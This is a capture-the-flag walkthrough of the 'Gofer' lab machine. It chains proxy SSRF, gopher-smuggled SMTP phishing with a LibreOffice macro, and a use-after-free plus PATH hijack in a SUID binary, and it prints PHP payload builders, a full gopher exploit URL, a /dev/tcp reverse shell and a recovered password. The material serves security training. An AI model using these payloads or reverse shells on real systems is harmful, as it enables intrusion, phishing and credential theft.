Gofer
2023-08-02
INTRODUCTION
At the time of writing this walkthrough, this is Gofer is still active. It was released as the seventh box for HTB’s Hackers Clash: Open Beta Season II. Gofer is labeled as a “Hard” Linux box, but in reality it was probably closer to medium difficulty. This box centers around a fictional company that provides web development and web design services, although, given the security breach you’re about to dive into, perhaps they should transition to a different line of work. All in all, Gofer is very pleasant to run: the creator of the box clearly put great care into constructing a whole narrative and fictional context for the box. A little bit of enumeration, a few intelligent guesses, and a good knowledge of a few web tricks will gain you foothold
RECON
nmap scans
For this box, I’m running the same enumeration strategy as the previous boxes in the Open Beta Season II. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to my target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan.txt $RADDR
Nmap scan report for 10.10.11.225
Host is up (0.17s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Filtered smtp
? That’s notable. There’s also SMB
, SSH
, and http
nmap -sV -sC -n -Pn -p22,25,80,139,445 -oN nmap/script-scan.txt $RADDR
Nmap scan report for 10.10.11.225
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 aa:25:82:6e:b8:04:b6:a9:a9:5e:1a:91:f0:94:51:dd (RSA)
| 256 18:21:ba:a7:dc:e4:4f:60:d7:81:03:9a:5d:c2:e5:96 (ECDSA)
|_ 256 a4:2d:0d:45:13:2a:9e:7f:86:7a:f6:f7:78:bc:42:d9 (ED25519)
25/tcp filtered smtp
80/tcp open http Apache httpd 2.4.56
|_http-title: Did not follow redirect to http://gofer.htb/
|_http-server-header: Apache/2.4.56 (Debian)
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: Host: gofer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2023-07-31T10:54:43
|_ start_date: N/A
|_clock-skew: -13s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
There’s an http redirect to http://gofer.htb`. Also, it looks like the OpenSSH they’re using is a little out of date. Next, I did a slower port and script scan just to be sure I got everything (excuse the length):
sudo nmap -sV -sC -n -Pn --top-ports 4000 -oN nmap/top-4000-ports.txt $RADDR
# No new results
Webserver Strategy
Noting the redirect from the nmap scan, I added gofer.htb
to /etc/hosts and did banner grabbing on that domain:
echo "$RADDR gofer.htb" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb $RADDR && curl -IL http://$RADDR
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt"
DOMAIN=gofer.htb
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results from vhost enumeration of the base domain (gofer isn’t in the wordlist). We know gofer.htb
exists, so I’ll check for vhosts under that as well:
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.gofer.htb" -c -t 60 -o fuzzing/vhost-gofer.md -of md -timeout 4 -ic -ac -v
Ok, so proxy.gofer.htb is a result. I’ll add that to my /etc/hosts
file:
echo "$RADDR proxy.gofer.htb" | sudo tee -a /etc/hosts
With that done, I’ll move on to subdomain enumeration:
ffuf -w $WLIST -u http://FUZZ.$DOMAIN -c -t 60 -o fuzzing/subdomain.md -of md -timeout 4 -ic -ac -v
# No new results
Following my usual strategy, I proceeded with directory enumeration on http://gofer.htb:
Note: When I first ran directory enumeration, I got lots of nuisance 403 results with 20 words each, so those are filtered out in the following
ffuf
command
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e php,asp,js,html -timeout 4 -v -fw 20
Directory enumeration against http://gofer.htb/ gave the following:
Now let’s try http://proxy.gofer.htb:
Note: When I first ran directory enumeration, I got lots of nuisance 403 results each with size of 462B or 280B, so those are filtered out in the following
ffuf
command
ffuf -w $WLIST:FUZZ -u http://proxy.$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 1 -c -o ffuf-directories-proxy -of json -e php,asp,js,html -timeout 4 -v -fs 462,280
# No results
Exploring the Website
The website itself looks like a very nice landing page for some business. It’s a great template (I really like the Portfolio section!). Not much more than that though. There’s a contact form, but it isn’t connected to anything.
Aside from that, I also found http://proxy.gofer.htb. That site uses basic http authentication. If I don’t find another way in, it might be worthwhile to brute-force this login 🚩
SMB (TCP ports 139 & 445)
nmap --script "safe or smb-enum-*" -p 445 $RADDR
Some less-useful results are omitted:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-31 17:12 IDT
Pre-scan script results:
| targets-asn:
|_ targets-asn.asn is a mandatory parameter
...
PORT STATE SERVICE
445/tcp open microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
...
| smb-protocols:
| dialects:
| 2:0:2
| 2:1:0
| 3:0:0
| 3:0:2
|_ 3:1:1
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
...
Try nmblookup
:
nmblookup -A $RADDR
Looking up status of 10.10.11.225
GOFER <00> - B <ACTIVE>
GOFER <03> - B <ACTIVE>
GOFER <20> - B <ACTIVE>
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>
WORKGROUP <00> - <GROUP> B <ACTIVE>
WORKGROUP <1d> - B <ACTIVE>
WORKGROUP <1e> - <GROUP> B <ACTIVE>
MAC Address = 00-00-00-00-00-00
Try nbtscan
:
nbtscan $RADDR/30
No useful result. How about running the nbtstat nmap script?
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n $RADDR
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
Service Info: Host: GOFER
Host script results:
| nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| GOFER<00> Flags: <unique><active>
| GOFER<03> Flags: <unique><active>
| GOFER<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
Next I’ll try enum4linux
, which usually provides a lot of info:
enum4linux $RADDR
[TODO: Make this into an collapsible block]
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Jul 31 17:27:14 2023
=========================================( Target Information )=========================================
Target ........... 10.10.11.225
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
============================( Enumerating Workgroup/Domain on 10.10.11.225 )============================
[+] Got domain/workgroup name: WORKGROUP
================================( Nbtstat Information for 10.10.11.225 )================================ Looking up status of 10.10.11.225 GOFER <00> - B <ACTIVE> Workstation Service
GOFER <03> - B <ACTIVE> Messenger Service
GOFER <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
===================================( Session Check on 10.10.11.225 )===================================
[+] Server 10.10.11.225 allows sessions using username '', password ''
================================( Getting domain SID for 10.10.11.225 )================================
Domain Name: WORKGROUP Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
===================================( OS information on 10.10.11.225 )===================================
[E] Can't get OS info with smbclient
[+] Got OS info for 10.10.11.225 from srvinfo:
GOFER Wk Sv PrQ Unx NT SNT Samba 4.13.13-Debian
platform_id : 500
os version : 6.1
server type : 0x809a03
=======================================( Users on 10.10.11.225 )=======================================
Use of uninitialized value $users in print at ./enum4linux.pl line 972.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.
Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.
=================================( Share Enumeration on 10.10.11.225 )=================================
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
shares Disk
IPC$ IPC IPC Service (Samba 4.13.13-Debian)
Reconnecting with SMB1 for workgroup listing.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 10.10.11.225 //10.10.11.225/print$ Mapping: DENIED Listing: N/A Writing: N/A //10.10.11.225/shares Mapping: OK Listing: OK Writing: N/A
[E] Can't understand response: NT_STATUS_OBJECT_NAME_NOT_FOUND listing \* //10.10.11.225/IPC$ Mapping: N/A Listing: N/A Writing: N/A
============================( Password Policy Information for 10.10.11.225 )============================
[+] Attaching to 10.10.11.225 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] GOFER
[+] Builtin
[+] Password Info for Domain: GOFER
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: 37 days 6 hours 21 minutes
[+] Retieved partial password policy with rpcclient: Password Complexity: Disabled Minimum Password Length: 5
=======================================( Groups on 10.10.11.225 )=======================================
[+] Getting builtin groups: [+] Getting builtin group memberships: [+] Getting local groups: [+] Getting local group memberships: [+] Getting domain groups: [+] Getting domain group memberships:
==================( Users on 10.10.11.225 via RID cycling (RIDS: 500-550,1000-1050) )==================
[I] Found new SID: S-1-22-1 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\jhudson (Local User)
S-1-22-1-1001 Unix User\jdavis (Local User)
S-1-22-1-1002 Unix User\tbuckley (Local User)
S-1-22-1-1003 Unix User\ablake (Local User)
[+] Enumerating users using SID S-1-5-21-510552225-995404492-4015181936 and logon username '', password ''
S-1-5-21-510552225-995404492-4015181936-501 GOFER\nobody (Local User)
S-1-5-21-510552225-995404492-4015181936-513 GOFER\None (Domain Group)
===============================( Getting printer info for 10.10.11.225 )===============================
No printers returned.
enum4linux complete on Mon Jul 31 17:39:55 2023
Some important things to glean from this output are:
- Users are
jhudson
,jdavis
,tbuckley
,ablake
- Groups are
Administrators
,Users
,Guests
,Power Users
,Account Operators
,Server Operators
, andPrint Operators
. - The SMB share
shares
can be explored. - There are two domains:
GOFER
andWORKGROUP
Correlating this with the website’s Team section, we now know who is who:
tbuckley
is Tom Buckley, the CTOjdavis
is Jeff Davis, the CEOjhudson
is Jocelyn Hudson, the product managerablake
is Amanda Blake, the accountant
Next let’s try connecting to the SMB shares, one of which is literally called “shares”:
smbclient //$RADDR/shares
I provided an empty password:
Naturally, I downloaded the file: get mail
.
This mail backup file seems like it holds a clue. Also a mention of the proxy I discovered earlier:
From jdavis@gofer.htb Fri Oct 28 20:29:30 2022 Return-Path: jdavis@gofer.htb X-Original-To: tbuckley@gofer.htb Delivered-To: tbuckley@gofer.htb Received: from gofer.htb (localhost [127.0.0.1]) by gofer.htb (Postfix) with SMTP id C8F7461827 for tbuckley@gofer.htb; Fri, 28 Oct 2022 20:28:43 +0100 (BST) Subject:Important to read! Message-Id: 20221028192857.C8F7461827@gofer.htb Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST) From: jdavis@gofer.htb
Hello guys,
Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That’s why from now on, I’ve decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.
PS: Last thing for Tom; I know you’re working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via
Some inferences to be made are:
- Keep an eye out for Libreoffice Writer / .odt files.
- SMTP ID is
C8F7461827
- The web proxy is under construction and may be vulnerable.
SMTP (TCP port 25)
First, I’ll banner-grab the SMTP server by contacting with nc
:
nc -nv $RADDR 25
No result (probably because the port is filtered). I’ll try nmap scripts just in case
nmap -p25 --script smtp-* $RADDR -v
NSE: Loaded 9 scripts for scanning.
...
Host is up (0.17s latency).
PORT STATE SERVICE
25/tcp filtered smtp
NSE: Script Post-scanning.
Initiating NSE at 07:48
Completed NSE at 07:48, 0.00s elapsed
Defeat Proxy Authentication
I’ll try getting through that simple http authentication that is required on http://proxy.gofer.htb. Since I already have a short list of usernames, I’ll just run hydra
with those usernames and rockyou
for passwords:
cat knownusers.txt
# ablake
# jhudson
# jdavis
# tbuckley
USERS=knownusers.txt
PASSWDS=/usr/share/wordlists/rockyou.txt
hydra -L $USERS -P $PASSWORDS -t 64 proxy.gofer.htb http-get "/"
This will take a very long time (a few hours) to complete. If I had to bet, this isn’t the correct route.
What about authentication bypass? First, are there any web tricks for getting past this authentication? I’ll go through this Hacktricks page and see if anything works.
First, I’ll try all the HTTP verbs against http://proxy.gofer.htb
:
for T in `echo "GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK" | sed 's/,//g'`; do echo "\n\nTrying $T\n"; curl -X $T http://proxy.gofer.htb; done
No luck. What about trying that list of Headers provided in the Hacktricks page? I put all of the headers they mentioned into a text file, one line each, and looped through it:
while read H; do echo "\n\nTrying $H\n"; curl http://proxy.gofer.htb -H "$H"; done < headers.txt
Alright, I’ll try one of the automated tools then. I grabbed a copy of byp4xx and started running it. It was taking quite a while so I added a timeout and extra flags:
./byp4xx -m 1 -t 16 -xD http://proxy.gofer.htb
No result. hmm…
While reading through this Hacktricks page (and the readme files of the tools it links to), I’m realizing that a lot of these methods depend on requesting a specific page/resource. I’ll try repeating what I already did, but check for an index page this time:
for E in "/" "/index" "/index.html" "/index.php"; do
for T in `echo "GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK" | sed 's/,//g'`; do
echo "\n\nTrying $T $E\n";
curl -X $T "http://proxy.gofer.htb$E";
sleep 1;
done;
done;
There were some interesting results:
...
Trying OPTIONS /index.html
<!-- [this result was blank] -->
Trying POST /index.php
<!-- Welcome to Gofer proxy -->
<html><body>Missing URL parameter !</body></html>
Trying PUT /index.php
<!-- Welcome to Gofer proxy -->
<html><body>Missing URL parameter !</body></html>
Trying DELETE /index.php
<!-- Welcome to Gofer proxy -->
<html><body>Missing URL parameter !</body></html>
...
Missing the URL parameter, eh? Alright, I’ll stand up a local webserver, serving a simple index.html
of my own.
sudo ufw allow from $RADDR to any port 8000 proto tcp
python3 -m http.server 8000
curl -X POST http://proxy.gofer.htb/index.php?URL=http://10.10.14.8:8000/index.html
<!-- Welcome to Gofer proxy -->
<html><body>Missing URL parameter !</body></html>
Ok, maybe they mean that it needs to be in the POST body?
curl --proxy 127.0.0.1:8080 -X POST http://proxy.gofer.htb/index.php --data-urlencode "URL=http://10.10.14.8:8000/index.html"
Maybe they’re careless with capitalization?
curl -X POST http://proxy.gofer.htb/index.php?url=http://10.10.14.8:8000/index.html
😎 That was it! The proxy is expecting a parameter in the form url=[request address]
. It looks like my local webserver received that as a GET request:
Reading Files on the Target
Now that I know the proxy can be used to relay GET requests, what we have is essentially an SSRF vulnerability. Maybe let’s try grabbing a file with it?
Nope! It won’t be that easy. What about something just a little more sneaky, like base64-encoded data?
Still nope. Other things I tried:
- double url-encode
file://
- url-encode just a portion of
file://
- Caused a
408 Request timeout
- Caused a
- Put a null byte in the middle
- try a
data://
url- This keyword is also blacklisted
Hmm… now every request is leading to a
408 Request Timeout
. I wonder what has gone wrong. I’ll let it sit for a while, and maybe reset the box later.
I’ll try putting a file onto the server, just a test page. If this is successful, I’ll try a PHP webshell or reverse shell too.
It didn’t mention any error. But trying to navigate to the page shows that it was not successful. Trying the same thing with test.php
has the same result.
FOOTHOLD
SMTP over SSRF
As shown in the nmap scans, SMTP on port 25 was filtered when accessing it from the outside. But now that I can bounce requests off of http://proxy.gofer.htb
, maybe it will be possible to contact SMTP? I found a bug report for Imgur where a clever security researcher was exploiting a very similar vulnerability in Imgur’s “video-to-gif” service. They managed to use Imgur’s servers for several kinds of traffic over a very similar SSRF - including SMTP.
In their exploit, they crafted a malicious php file containing some SMTP commands to send an email, and a redirect header to use GOPHER protocol to send the SMTP commands to an upstream SMTP server, which would in turn send the email to the defined recipient.
The fact that they used GOPHER protocol seems like a big hint 👀
Roughly following the example they provided, I created a php file and hosted it from a python webserver running on my attacker machine:
<?php
$commands = array(
'HELO gofer.htb',
'MAIL FROM: <tbuckley@gofer.htb>',
'RCPT TO: <jhudson@gofer.htb>',
'DATA',
'Test mail <a href="http://10.10.14.8:8000/clickme">http://10.10.14.8:8000/clickme</a>',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://smtp.gofer.htb:25/_'.$payload);
?>
But the big question now is… how will I know if it worked? And what does this even gain? It looks like there is a hint in that mail
backup that I found earlier, about Jocelyn:
“Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That’s why from now on, I’ve decided that important documents will only be sent internally, by mail”
I wonder if the box is set up so that any mail sent to Jocelyn will have it’s links clicked? I’ll try including a link in the email. I wouldn’t say it’s very likely, but if I get a request to my python webserver running locally for GET /clickme
, then I’ll know it worked.
smtp.php
is requested from my local python webserver, but /clickme
is never requested. I think it’s fair to say it did not work. Maybe “Jocelyn” knows to only open links to an .odt
file? That might be the case, but first I need to craft a malicious .odt
file containing some code that will let me know if it was opened.
LibreOffice Macro
The best way to do this is to make a .odt
file but also stick a macro inside. The macro should run whenever the document is opened, with no further interaction necessary. But first, the macro itself can be a simple reverse shell, but also with a wget
to let me know if it ran. I tested this locally, then changed the isLocal
variable to False
. To open this window, I used Tools > Macros > Organize Macros > Basic
, added Module
to the current document, then wrote the code:
Now that it’s written, I just need to make it so the macro runs whenever the document opens. Close the macro editor window and go to Tools > Macros > Organize Macros > Basic, then choose the macro and click Assign
:
Assign it to the Event
of Open Document
:
I closed LibreOffice, started up a socat
listener, then tried opening the memo.odt
file I had just created. I caught the reverse shell and saw the request to /itworked
arrive at my local webserver, so I think it works. However, I had to modify the LibreOffice security settings to allow macros to run, setting Macro security settings to Low. All I can do is hope that Jocelyn has already done this🤞
In the case that the Macro Security setting is NOT set to “low”, there is a CVE that I might be able to exploit to get past this (It effective bypasses the certificate check that is used to tell if a macro is trusted or not).
To try testing this idea incrementally, I set up a netcat listener on port 4444 and tried the request shown on the hacktricks page. While the request timed out, I did get a hit at my netcat listener, and it looked like a properly formed SMTP request. In this request, I’m basically using a copy-paste of the payload shown on the SSRF Hacktricks page for gopher:
Alright, that seemed mildly successful… Let’s try adapting it to be more specific to what is needed for this box:
Great. It’s now addressed to Jocelyn, from Tom. Also, it contains a link to the memo.odt
document. If all goes according to plan, Jocelyn will “click” it.
Huh? Now the box is trolling me? 😞 This attempt is largely based on the SSRF page on Hacktricks, but with a little workaround to avoid the blacklisted “/127”:
I don’t like all of this double url-encoding. Plus, editing the payload inside Burp is not very fun. I’ll go back the the PoC in the Imgur bug report and write the construction of the request into a php script. However, I’ll change one aspect: As shown on the Hacktricks SSRF page, there is no need to have the payload wrapped inside a Location
header; I can simply include it as part of the url
parameter.
Here is the PHP script that assembles the payload. This payload is just for testing, so I’m directing the “smtp” request at my own machine’s socat
listener on port 4444 (could have done a nc
listener or a tcpdump
for this purpose, too):
<?php
$addr = "10.10.14.4:4444";
$localaddr = "http://10.10.14.4:8000/memo.odt";
$commands = array(
'HELO gofer.htb',
'MAIL FROM: <tbuckley@gofer.htb>',
'RCPT TO: <jhudson@gofer.htb>',
'DATA',
'Subject: Important memo',
'Please urgenetly read the memo: <a href="' . $localaddr . '"> ' . $localaddr . ' </a>',
'.'
);
$payload = implode('%0A', $commands);
echo "gopher://" . $addr . "/_" . urlencode($payload);
?>
To improve consistency between attempts at deploying this payload, I started up a simple PHP server and utilize this script within the curl
command to deploy the payload:
php -S 127.0.0.1:8001
curl --proxy 127.0.0.1:8080 -X POST http://proxy.gofer.htb/index.php?url=`curl localhost:8001/smtp.php`
From my socat
listener, I see the result. Looks good so far 👍
Now, I’ll change the target address in the PHP script, send the command and hope for the best!
$addr = "0.0.0.0:25";
$localaddr = "http://10.10.14.4:8000/memo.odt";
😵 WHAT! It actually worked! After about a minute of waiting, it seems like Jocelyn “clicked” the link, and my macro worked:
This was the successful request:
For copy-pasting: this was the
url
parameter:gopher://0.0.0.0:25/_HELO+gofer.htb%250AMAIL+FROM%3A+%3Ctbuckley%40gofer.htb%3E%250ARCPT+TO%3A+%3Cjhudson%40gofer.htb%3E%250ADATA%250ASubject%3A+Important+memo%250APlease+urgenetly+read+the+memo%3A+%3Ca+href%3D%22http%3A%2F%2F10.10.14.4%3A8000%2Fmemo.odt%22%3E+http%3A%2F%2F10.10.14.4%3A8000%2Fmemo.odt+%3C%2Fa%3E%250A.
USER FLAG
Upgrade the Shell
First things first, let’s upgrade this shell:
SHELL=/bin/bash script -q /dev/null
[ ctrl + z ]
stty raw -echo; fg
[ enter enter ]
export TERM=xterm-256color
The initial prompt showed that
jhudson
has mail. I checked it, but it’s just a single blank line. Maybe a remnant of my exploit? Maybe related to the way that the box has scriptedjhudson
to check their mail and “click” a link? I don’t know.
Grab the Flag
Let’s see who has the flag:
cd /home
find . -type f -name "user.txt
# ./jhudson/user.txt
# find: ‘./tbuckley/.local/share’: Permission denied
Great! Jocelyn has the flag. Simply cat
it out for the points:
cat /home/jhudson/user.txt
SSH Access
This shell I have as jhudson
is good. Command history, tab completion, colors - it’s really quite nice! But since my internet access is a little flaky, I’d like to see if I can use SSH instead. I’ll try planting a key into jhudson
. First, on the attacker machine, generate a key and get the base-64 encoded version of the pubkey:
ssh-keygen -t rsa -b 4096
# called it jhudson_id_rsa and used password "password"
chmod 700 jhudson_id_rsa
base64 -w 0 jhudson_id_rsa.pub > jhudson_id_rsa.pub64
cat jhudson_id_rsa.pub64 # [ copy the output to clipboard ]
Then on the target machine, as jhudson
, put the key into authorized_keys
mkdir /home/jhudson/.ssh
echo "[ paste ]" | base64 -d > /home/jhudson/.ssh/authorized_keys
Then from the attacker machine, log in using the key that was generated:
Excellent! Now I don’t have to bother with the exploit again if I lose my connection 🍒
ROOT FLAG
User Enumeration: jhudson
I’ll follow my usual Linux User Enumeration strategy. To keep this walkthrough as brief as possible, I’ll omit the actual procedure of user enumeration, and instead just jot down any meaningful results / findings.
sudo
is not present.Some useful programs present on the box are:
nc, netcat, curl, wget, python3, perl, php
netstat -tulpn
did not identify any services not previously known, but it did show that there are other listening processes thatjhudson
does not have access to.There is a notable SUID binary:
-rwsr-s--- 1 root dev 17168 Apr 28 16:06 /usr/local/bin/notes
Pspy found a cron-scheduled process running:
Linpeas found some neat things too:
Can sniff
SMTP
using tcpdump (Maybe credential re-use?)gdb
was found on the PATH/proc/sys/kernel/yama/ptrace_scope is enabled (0)
means I can run ptrace on binary!Found an Apache password hash:
/etc/apache2/.htpasswd:$apr1$YcZb9OIz$fRzQMx20VskXgmH65jjLh/
This is probably the proxy password
-rw-r--r-- 1 root root 47 Nov 3 2022 /etc/apache2/.htpasswd tbuckley:$apr1$YcZb9OIz$fRzQMx20VskXgmH65jjLh/
However, pspy already found this credential: tbuckley : ooP4dietie3o_hquaeti
Also flagged that SUID binary as unknown:
-rwsr-s--- 1 root dev 17K Apr 28 16:06 /usr/local/bin/notes (Unknown SUID binary)
There’s something odd about
write
as well:
I’ll check the easy stuff first. I’ll verify the proxy.gofer.htb
password that was recovered. Then, maybe tbuckley
got lazy and re-used their proxy.gofer.htb
credential for ssh
(which would be really bad, because it was transmitted over http in plaintext!)
Yup! The credential works for http://proxy.gofer.htb, so there’s no point in cracking that Apache .htpasswd hash. Now let’s check for credential re-use:
Tom!!! You should not be CTO! 😱
Super! Tom’s SSH credential is verified: tbuckley : ooP4dietie3o_hquaeti
User Enumeration: tbuckley
Since tbuckley
is the CTO, it’s likely that he has more privileges than jhudson
. Again, I’ll omit the actual procedure of user enumeration, and instead just record any meaningful results / findings.
still no
sudo
available.tbuckley
is in special group:1004(dev)
The only file that belongs to
dev
is that suspicious SUID binary:/usr/local/bin/notes
🚩💡 I think the way forward is pretty clear: I need to use gdb to use this
notes
binary to escalate privilege
tbuckley
has access tonc, netcat, curl, wget, python3, perl, php
Analyzing “notes”
It seems like it would probably be easiest to analyze the notes
binary on my attacker machine, so I’ll transfer the file. First, set up a listener:
sudo ufw allow from $RADDR to any port 4445 proto tcp
nc -lvnp 4445 > notes
Then transfer the file from the target:
nc -nv 10.10.14.4 4445 < /usr/local/bin/notes
On both machines, verify the checksum:
sha256sum notes
👍 The hashes match, so I’ll check out the binary on my attacker machine now.
Right away, I see the functionality that should probably be accessed:
Alright, so if the role is already set to ‘admin’, then we have the ability to choose option 8 and backup /opt/notes
to /root/backups/backup_notes.tar.gz
To set the role, this code is used. It checks the UID and sets the role either to ‘admin’ (bottom-left pane) or to ‘user’ (next to bottom-left pane):
Why not try out the application and use it “like I am supposed to” a few times, to get a feel for how it works?
The program works by prompting the user with this menu:
- By selecting 1, typing a name, then selecting 2, you can see your username and your ‘role’. My goal for the first part of exploiting this will be to somehow set my ‘role’ to
admin
. - By selecting 4, entering a word, then selecting 5, you can read back the word (note) that you entered. Really high tech stuff.
- Selecting 3 deletes the user. But subsequently selecting 2 shows that the role is not deleted. Also, in the place of where the username would be, there is just some junk data!
Alright, it’s clearly not super well written. Knowing that, let’s see what kind of weird behaviour I can coax out of it. Consider the following sequence of actions:
(1) Choose a username: anybody # provide any name
(2) # shows Username = anybody, Role = user
(3) # Delete the user
(4) Write your note: test # make any note
(2) # shows Username = test, Role = [blank]
Well that’s not right! Why did that happen? Look at the code for option (1) (follow the panes with the selected/cyan header):
…allocates all 40 bytes, then it zeros-off 24 bytes for the username and 16 bytes for the role. Then it fills the role variable according to UID, then it fills the username with the provided string.
A bit of an aside: You can prove this to yourself by seeing that a 24-character username choice (which is 25 with the null byte) actually pre-selects the menu option: ☝️ It used the final “4” as the menu option, without prompting.
Here’s the code for option (3), to delete a user:
…all it does is free the memory used for the username. After that, selecting option (4) and writing a note follows this code:
…it allocates more memory, and zeros if off, but it does all this without checking if there is a user currently. If the memory that stored the username / role has just been freed, it’s available for the malloc
in the option (4) code to claim. This is a classic use-after-free vulnerability.
Exploiting “notes”
As a result of the use-after-free vulnerability shown above, I can probably set BOTH my username and role by providing a note that is 24 + length(‘admin’) = 29 bytes long, and it must end in the letters ‘admin’. I’ll try using 123456789012345678901234admin:
(1) Choose a username: anybody # provide any name
(3) # Delete the user
(4) Write your note: 123456789012345678901234admin # 29 bytes long, ends with 'admin':
(2) # shows Username = 123456789012345678901234admin, Role = admin
🍰 Perfect! That little trick got me the admin
role.
Now I’ll get back onto the target machine and try the same thing:
Interesting… Removing leading slashes from member names? This effectively turns them into relative paths. I wonder if I could run the binary from an alternate location and set up some kind of directory traversal. 🤔
To investigate, I’ll try running pspy while using option (8) to backup the notes:
🤦♂️ oh DUH! Why had I not seen that earlier when I was staring right at it in IDA. The notes
program is running tar
without using an absolute path! This is practically begging for path abuse.
As tbuckley
I created a new file called tar
in /tmp/Tools
:
#!/usr/bin/bash
bash -c "/bin/bash -i >& /dev/tcp/10.10.14.4/4444 0>&1"
On my attacker machine, I made sure the port was still opened for a reverse shell, and started a socat
listener:
sudo ufw allow from $RADDR to any port 4444 proto tcp
socat -d -d TCP-LISTEN:4444 STDOUT
Then, on the target, I prepended /tmp/Tools
to the path, and ran /usr/local/bin/notes
:
chmod +x /tmp/Tools/tar
export PATH=/tmp/Tools:$PATH
/usr/local/bin/notes
I repeated the exploit on notes
:
(1) Choose a username: anybody # provide any name
(3) # Delete the user
(4) Write your note: 123456789012345678901234admin # 29 bytes long, ends with 'admin':
(2) # shows Username = 123456789012345678901234admin, Role = admin
(8) # run the Backup operation, should trigger /tmp/Tools/tar
And voila!
🎉 That’s a root shell!
From there, simply cat
out the flag for those sweet sweet root points:
cat /root/root.txt
LESSONS LEARNED
Attacker
- If you run into something that requires some guessing, scripting is your best friend. A little bit of bash scripting goes a long way. When I was trying to find the initial bypass for the proxy, putting my attempts into a double
for
loop was very useful. - 0.0.0.0 can be used to reach the localhost of a webserver. The HTTP specification is written for maximum compatability: Just because localhost and 127.0.0.1 are filtered, that doesn’t mean there is no way to reach the local host.
